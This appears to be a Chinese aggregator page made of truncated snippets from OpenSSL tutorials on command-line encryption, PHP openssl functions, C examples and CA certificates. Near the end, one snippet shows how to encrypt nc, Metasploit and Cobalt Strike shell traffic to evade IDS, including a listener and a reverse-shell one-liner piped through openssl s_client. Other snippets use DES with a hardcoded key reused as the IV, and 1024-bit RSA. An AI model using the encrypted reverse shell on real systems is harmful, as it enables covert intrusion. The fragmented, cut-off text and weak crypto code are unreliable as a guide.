OpenSSL在这一领域已经成为事实上的标准,并且拥有比较长的历史,在OpenSSL被曝出现严重安全漏洞后,发现多数通过SSL协议加密的网站使用名为OpenSSL的开源软件包。...OpenSSL一共提供了8种对称加密算法,其中7种是分组加密算法,仅有的一种流加密算法是RC4(已经证明不安全)。...对称加密应用例子: #用DES3算法的CBC模式加密文件plaintext.txt,加密结果输出到文件ciphertext.bin openssl enc -des3 -salt -in plaintext.txt...openssl base64 -in ciphertext.bin -out base64.txt WeiyiGeek. 注意事项: 因为模式不同,该命令不能对以上的文件进行解密。..., req命令只会在创建自签发根证书的时候用到一次。
加密解密文件。...# 加密 $ openssl enc -aes-128-cbc -e -a -in ~/.ssh/khs1994-robot -out ~/.ssh/khs1994-robot.enc -K c286696d887c9aa0611bbb3e2025a45a...-iv 562e17996d093d28ddb3ba695a2e6f00 # 解密 $ openssl enc -aes-128-cbc -d -a -in ~/.ssh/khs1994-robot.enc...-out ~/.ssh/id_rsa -K c286696d887c9aa0611bbb3e2025a45a -iv 562e17996d093d28ddb3ba695a2e6f00 -e 加密 -d...解密 -a 加密前/后使用 base64 编码 Key 和 IV 值是 16进制 More Information https://www.cnblogs.com/gordon0918/p/5317701
所以,对于 PHPer 来说,有必要学习一下 PHP 的 OpenSSL 扩展。 本文就先从 OpenSSL 扩展中的对称加密说起。后面会陆续更多非对称加密、数字签名、数字证书等函数的讲解。...PHP 的 OpenSSL 扩展中,对称加密的相关函数有: openssl_encrypt() openssl_decrypt() openssl_random_pseudo_bytes() openssl_get_cipher_methods...其实PHP的OpenSSL扩展支持很多种加密算法,想知道所有对称加密算法名称列表,可以调用 openssl_get_cipher_methods() 函数,这会返回一个数组: array( 0 =>...第 8 ~ 9 行 是加密和解密。分别使用了 openssl_encrypt() 和 openssl_decrypt()。...第一个参数是输入,对 openssl_encrypt() 来说是明文串,对 openssl_decrypt() 来说是密文串 第二个参数是指定加密 / 解密 算法 第三个参数是加密 / 解密时需要用到的密码
因此本文从非对称加密说起, 介绍了证书的签证流程, 并且通过openssl的命令行工具对这些过程都转化为相对具体的命令, 也算是一个温故知新的简要记录吧....其中包括: libssl : 提供了SSL(包括SSLv3)和TLS的服务器端以及客户端的实现. libcrypto : 通用的密码学库以及对X.509的支持 openssl : 一个多功能的命令行工具...本文主要使用openssl的命令行工具来示例非对称加密的流程, 如果有兴趣的话,也可以用其SDK 来实现更具体的操作....因此对于大文件的加密传输, 通常还是使用对称加密的方式, 例如 openssl rand -base64 128 -out aeskey.txt openssl enc -aes-256-cbc -salt...第一个命令是CA一开始创建私钥和CA的证书, 第二个命令表示对csr文件进行签名确认, 用-config指定自定义的配置文件, 如果不指定则默认为/usr/lib/ssl/openssl.cnf, SP
PHP的OpenSSL加密扩展学习(一):对称加密 我们已经学过不少 PHP 中加密扩展相关的内容了。而今天开始,我们要学习的则是重点中的重点,那就是 OpenSSL 加密扩展的使用。...一是 OpenSSL 是目前 PHP 甚至是整个开发圈中的数据加密事实标准,包括 HTTPS/SSL 在内的加密都是它的实际应用,二是 OpenSSL 提供了对称和非对称加密的形式,也就是我们日常中最普遍的两种加密方式...OpenSSL 扩展的对称加密 好了,介绍这么多理论知识,接下来还是回归正题了,我们在 PHP 中如何实现对称和非对称加密呢?非常简单,使用 OpenSSL 扩展就可以了。...最简单的,在操作系统命令行看看有没有 openssl 命令就可以看出当前系统有没有安装 OpenSSL 相关的软件。...openssl_decrypt() 用于对数据进行解密,需要的参数基本和加密函数一致,只是原文数据换成了加密数据。
如何使用 OpenSSL 加密文件 OpenSSL 是一个了不起的工具,可以执行各种任务,例如加密文件。本文使用安装了 OpenSSL 的 Fedora 计算机。...Alice 使用以下命令生成她的一组密钥对: alice $ openssl genrsa -aes128 -out alice_private.pem 1024 此命令使用 OpenSSL 的 genrsa...输入命令后,OpenSSL 会提示 Alice 输入密码,每次使用密钥时,她都必须输入该密码: alice $ openssl genrsa -aes128 -out alice_private.pem...alice $ 要加密此秘密消息,Alice 需要使用 openssls -encrypt 命令。...的更多信息 OpenSSL 在加密界是真正的瑞士军刀。
最近公司项目中有需要用到OpenSSL的加密和java端进行接口验证,再测试环境升级到PHP7的时候加密会出现错误,后来多方面检查终于找到原因所在: PHP7环境下把openssl_get_privatekey...方法换成openssl_pkey_get_private 需要转换一下秘钥,window环境和Linux环境下的秘钥格式有区别(暂时不确定是不是操作系统的关系) PHP的秘钥验证需要加上头尾。..."n-----END PRIVATE KEY-----n"; } } 以上就是本次遇到OPENSSL加密问题的小经验,大家还有问题的话在下方留言讨论吧。
1 #include 2 #include 3 #include 4 #include 5 6 //加密 7 int my_encrypt(const char *input, int input_len, char *output, int *output_len, const...n"); 93 } 94 fwrite(dst,1,dst_len,stdout); 95 return ret; 96 } 以上是一个示例,测试了私钥加密...(签名)/公钥解密(验证),main函数是一个测试 测试一下,先生成2048位公钥、私钥对 colin@colin-VirtualBox:/tmp$ openssl genrsa -out pri2048...7a71146998ad521bab336a49f65c90c4 data 7a71146998ad521bab336a49f65c90c4 data2 7a71146998ad521bab336a49f65c90c4 data3 公钥加密
PHP的OpenSSL加密扩展学习(二):非对称加密 上篇文章,我们了解了关于对称和非对称加密的一些相关的理论知识,也学习了使用 OpenSSL 来进行对称加密的操作。...今天,我们就更进一步,学习 OpenSSL 中的非对称加密是如何实现的。 生成私钥 通过之前的学习,我们知道非对称加密是分别需要一个公钥和一个私钥的。...大家再回过头来好好看一下公钥和私钥的内容,是不是和我们去申请的 HTTPS 证书中的公私钥内容长得一样,而且也和我们自己在系统中使用 openssl 命令行生成的本机的密钥证书一样。...$data = '测试非对称加密'; // 公钥加密数据 openssl_public_encrypt($data, $encrypted, $publicKey); var_dump($encrypted...其实反过来也是可以的,OpenSSL 分别都为我们提供了公钥的加解密和私钥的加解密函数。 就像上篇文章的图示那样,对方获得我们的公钥,然后加密数据传输过来,我们通过自己的私钥解密数据获得原文。
简单定义:公钥和私钥,加密和解密使用的是两个不同的密钥,所以是非对称 系统:ubuntu 14.04 软件:openssl java php 生成公钥私钥 使用命令生成私钥: openssl genrsa...}\n"; //公钥加密 $public_key=file_get_contents("rsa_public_key.pem"); $pub_key = openssl_pkey_get_public(...);//因为加密后是乱码,所以base64一下 echo "加密后:\n"; echo $encrypted."...,php使用私钥解密 shell: openssl rsautl -encrypt -in readme.txt -inkey rsa_public_key.pem -pubin|base64 加密后的字符串...,php解密: 拿上一步java生成的加密后字符串 <?
php //加密 function encryption($str,$key = 'gV0iX9aD') { $iv = $key; $data = openssl_encrypt($str,"DES-CBC...",$key,OPENSSL_RAW_DATA,$iv); $data = strtolower(bin2hex($data)); return $data; } //解密 function...decryption($str,$key = 'gV0iX9aD') { $iv = $key; return openssl_decrypt (hex2bin($str), 'DES-CBC...', $key, OPENSSL_RAW_DATA,$iv); } $data = "123456"; $encryption = encryption($data); //加密字符串123456...$decryption = decryption($encryption); //解密 echo $encryption; //输出加密结果(df6dc44aa296d763) echo $decryption
本文主要简单介绍下; 一、数据加密的三种方式; 二、Openssl的基础应用以及创建CA证书与发证; 一、数据加密的三种方式; 1、对称加密;加密与解密方使用同一个算法, 将数据切割成数据块逐步加密,并且前后块之间有关联关系...结合以上三种加密方法:如下图所示; 上图所示,把三种加密算法结合起来使用,对称加密实现了数据的机密性,公钥加密实现身份认证,而单向加密则实现了数据的完整性。...二、Openssl的基础应用以及创建CA证书与发证; 1)、Openss是一套用于SSL(安全套接字层)/TLS(传输层安全)协议的加密工具,有如下三个组件组成; 1、libcrypto;通用功能加密库...; 2、libssl;用于实现SSL/TLS的功能 3、多功能命令工具 其作用还可以生成密钥、创建数字证书、计算信息摘要、手动加密解密数据。...2)、对称加密以及解密的方法; 常用算法有:DES,3DES,AES,Blowfish,Twofish,RC6,CAST5 加密; openssl enc -des3 -a -salt -in /etc
三、Openssl 基本使用方法 1、OpenSSL 是一个强大的安全套接字层密码库, 在应用层和传输层之间加了一个半层,基于套接字传输时专用的;所以不是对所有的数据进行加密;Appache使用它加密HTTPS...整个软件包有三部份构成: 密码算法库(7种分组加密算法、RC4的流加密算法) SSL 协议库(SSLv2,v3、TLSv2,v3) 应用程序(密码生成、证书管理、格式转换、数据加密签名) 2、openssl...Standar commands:命令功能 Message Digest command :信息摘要支持的算法 Cipher:加密支持的算法 查看OpenSSL 的安装文件,配置之前建议先去读/etc/...;使用cat查看是乱码; openssl命令选项: -e:指定为加密,可以不写默认为加密。...–serial 4、生成完需要拷贝到http服务器上 也用scp命令 五、吊销证书 1、第一次吊销需创建文件,生成编号,在CA端进行 touch /etc/pki/CA/crlnumber echo
具体RSA加密算法在计算机网络中的运用方式和原理可以查看:OpenSSL - 网络安全之数据加密和数字证书 如何利用openssl命令行来生成证书和密钥可查看:OpenSSL - 利用OpenSSL自签证书和...在使用OpenSSL进行RSA加密算法时,流程与上述理论流程保持一致。...生成密钥或读取密钥 根据需要选择签名还是加密 使用公钥进行数据加密 使用私钥进行数字签名 数据通过网络进行安全传输 对端进行解密获取明文 下面是OpenSSL的RSA加密算法对数据进行加密解密过程实现...: #include #include #include #include #include <openssl...从证书中提取公钥加密与上述代码类似,替换相应API即可。 tips:本来把这篇OpenSSL的RSA加密算法和代码写好点的,但是由于最近时间越来越紧张。后续有机会在扩充吧。
PHP的openssl扩展 openssl扩展使用openssl加密扩展包,封装了多个用于加密解密相关的PHP函数,极大地方便了对数据的加密解密。...常用的函数有: 对称加密相关: string openssl_encrypt ( string $data , string $method , string $password) 其中$data为其要加密的数据...,$method是加密要使用的方法,$password是要使用的密匙,函数返回加密后的数据; 其中$method列表可以使用openssl_get_cipher_methods()来获取,我们选取其中一个使用...$password) 非对称加密相关: openssl_get_publickey();openssl_pkey_get_public(); // 从证书导出公匙; openssl_get_privatekey...(); // 使用私匙加密; openssl_private_decrypt(); // 使用私匙解密; openssl_public_decrypt(); // 使用公匙解密; 还有签名和验签函数
在本节中,我们将介绍如何使用 OpenSSL 对 nc、Metasploit、Cobalt Strike 三种远控工具的 shell 通信进行流量加密,从而绕过IDS或者防护软件分析设备和工具,实现动态免杀...可看到未加密的情况下,攻击机与目标机之间的通信都是明文传输的,所以流量设备可以很容易地查看到攻击者的行为记录的。 那么接下来将演示如何使用OpenSSL对nc进行流量加密。 1....使用 OpenSSL 生成自签名证书 在使用OpenSSL对nc进行流量加密之前,需要先在攻击机上生成自签名证书: openssl req -x509 -newkey rsa:4096 -keyout...使用 OpenSSL 对 NC 流量进行加密 攻击机kali上面执行如下命令使用 OpenSSL 开启一个监听: openssl s_server -quiet -key key.pem -cert cert.pem...然后 Ubuntu 上面执行如下命令将自己的shell反弹到攻击机kali上去: mkfifo /tmp/s; /bin/sh -i &1 | openssl s_client -
OpenSSL 中的 SSL 加密是通过 SSL/TLS 协议来实现的。SSL/TLS 是一种安全通信协议,可以保障通信双方之间的通信安全性和数据完整性。...在 SSL/TLS 协议中,加密算法是其中最核心的组成部分之一,SSL可以使用各类加密算法进行密钥协商,一般来说会使用RSA等加密算法,使用TLS加密针对服务端来说则需要同时载入公钥与私钥文件,当传输被建立后客户端会自行下载公钥并与服务端完成握手...与RSA实现加密传输一致,使用SSL实现加密传输读者同样需要自行生成对应的密钥对,密钥对的生成可以使用如下命令实现; 生成私钥: openssl genrsa -out privkey.pem 2048...生成公钥: openssl req -new -x509 -key privkey.pem -out cacert.pem -days 1095 执行如上两条命令,读者可得到两个文件首先生成2048位的.../bio.h> #include #include #include #include <openssl/
20.5.1 加解密算法封装 在之前的章节中我们都是使用命令行的方式手动生成密钥对文件,其实在OpenSSL中我们完全可以使用SDK提供的函数自动生成对应的加密密钥对文件,如下一段代码中,CreateRSAPEM...#include #include #include #include #include #include #include extern "C" { #include #include #include extern "C" { #include #include #include extern "C" { #include <openssl/applink.c
在读者了解了加密算法的具体使用流程后,那么我们就可以使用这些加密算法对网络中的数据包进行加密处理,加密算法此处我们先采用AES算法,在网络通信中,只需要在发送数据之前对特定字符串进行加密处理,而在接收到数据后在使用相同的算法对数据进行恢复即可...#include #include #include #include #include #include #include #include extern "C" { #...#include #include #include #include #include #include #include #include extern "C" { #
OpenSSL 中的 SSL 加密是通过 SSL/TLS 协议来实现的。SSL/TLS 是一种安全通信协议,可以保障通信双方之间的通信安全性和数据完整性。...在 SSL/TLS 协议中,加密算法是其中最核心的组成部分之一,SSL可以使用各类加密算法进行密钥协商,一般来说会使用RSA等加密算法,使用TLS加密针对服务端来说则需要同时载入公钥与私钥文件,当传输被建立后客户端会自行下载公钥并与服务端完成握手...与RSA实现加密传输一致,使用SSL实现加密传输读者同样需要自行生成对应的密钥对,密钥对的生成可以使用如下命令实现;生成私钥: openssl genrsa -out privkey.pem 2048生成公钥...: openssl req -new -x509 -key privkey.pem -out cacert.pem -days 1095执行如上两条命令,读者可得到两个文件首先生成2048位的privkey.pem.../bio.h>#include #include #include #include <openssl/crypto.h
领取专属 10元无门槛券
手把手带您无忧上云